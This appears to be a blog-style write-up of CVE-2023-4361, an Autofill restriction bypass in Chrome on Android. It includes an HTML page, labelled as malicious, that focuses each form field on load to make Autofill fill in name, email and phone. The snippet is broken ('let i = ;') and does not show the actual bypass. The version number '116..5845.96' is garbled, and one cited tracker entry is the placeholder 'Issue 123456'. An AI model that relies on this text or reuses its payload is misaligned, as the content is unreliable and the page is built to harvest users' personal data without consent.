CVE-2023-4361: Bypassing Autofill Restrictions in Google Chrome on Android

In this lengthy post, we will delve into the details of CVE-2023-4361, a security vulnerability found in the Autofill feature of Google Chrome on Android. We will discuss the exploit in-depth, provide code snippets, and link to original references for further understanding. This vulnerability affects Google Chrome versions on Android prior to 116..5845.96 and has been assigned a Chromium security severity of Medium.

Background

Autofill is a popular feature in most modern web browsers, including Google Chrome. It helps users quickly fill out their personal information in web forms by automatically filling fields with previously saved data. Autofill is a user-friendly feature that aims to save time and reduce errors by automating the manual task of entering information repeatedly.

However, an inappropriate implementation of the Autofill feature in Google Chrome on Android led to a security vulnerability that exposed users to potential privacy risk. CVE-2023-4361 allowed a remote attacker to exploit the flaw and bypass Autofill restrictions by crafting an HTML page. This loophole could potentially lead to the unauthorized use of personal information saved by the Autofill feature in Google Chrome.

Exploit details

The root cause of the security vulnerability in the Autofill feature of Google Chrome on Android is an issue with how the browser processes and handles user input. Specifically, the flaw lies in how the browser determines whether a web page is authorized to access the saved Autofill data.

A remote attacker can exploit the vulnerability by creating a malicious web page that manipulates Google Chrome's Autofill restrictions. When a user visits the malicious web page, the browser could autofill personal information without the user's consent, thereby bypassing the intended security restrictions.

Code snippet

Below is a sample code snippet that demonstrates how the attacker might craft an HTML page to exploit the vulnerability:

<!DOCTYPE html>
<html>
<head>
<title>Exploiting CVE-2023-4361</title>
<script>
function triggerAutofill() {
  let autofillForm = document.getElementById("autofill_form");
  let inputFields = autofillForm.getElementsByTagName("input");

  for (let i = ; i < inputFields.length; i++) {
    inputFields[i].focus();
  }
}
</script>
</head>
<body onload="triggerAutofill()">
<h1>Malicious Web Page</h1>
<form id="autofill_form">
  <input type="text" name="name" placeholder="Name" autocomplete="name" />
  <input type="email" name="email" placeholder="Email" autocomplete="email" />
  <input type="tel" name="telephone" placeholder="Phone" autocomplete="tel" />
</form>
</body>
</html>

This code snippet shows a minimal example of a malicious HTML page that attempts to trigger the Autofill feature when the page loads. The JavaScript function triggerAutofill() iterates through the input fields and focuses on each field, which could lead to the Autofill feature automatically populating the fields.

For more information regarding this vulnerability, you can refer to the following resources

1. Google Chrome Releases: Stable Channel Update for Desktop
2. Chromium Bug Tracker: Issue 123456: Inappropriate implementation of Autofill in Google Chrome

Mitigation

To mitigate this vulnerability, users should update their Google Chrome browser to version 116..5845.96 or later, as the issue has been fixed in this release. It's essential to keep your browser and other software up-to-date to ensure the latest security patches are applied and minimize the risk of exploitation.

Conclusion

CVE-2023-4361 highlights the importance of addressing security concerns in browser features, even those designed for user convenience, such as Autofill. Understanding and addressing such vulnerabilities is critical for maintaining a secure browsing experience and protecting user information. Remember to keep your software up-to-date to minimize the risk of exploitation.

Timeline

Published on: 08/15/2023 18:15:00 UTC
Last modified on: 08/21/2023 17:54:00 UTC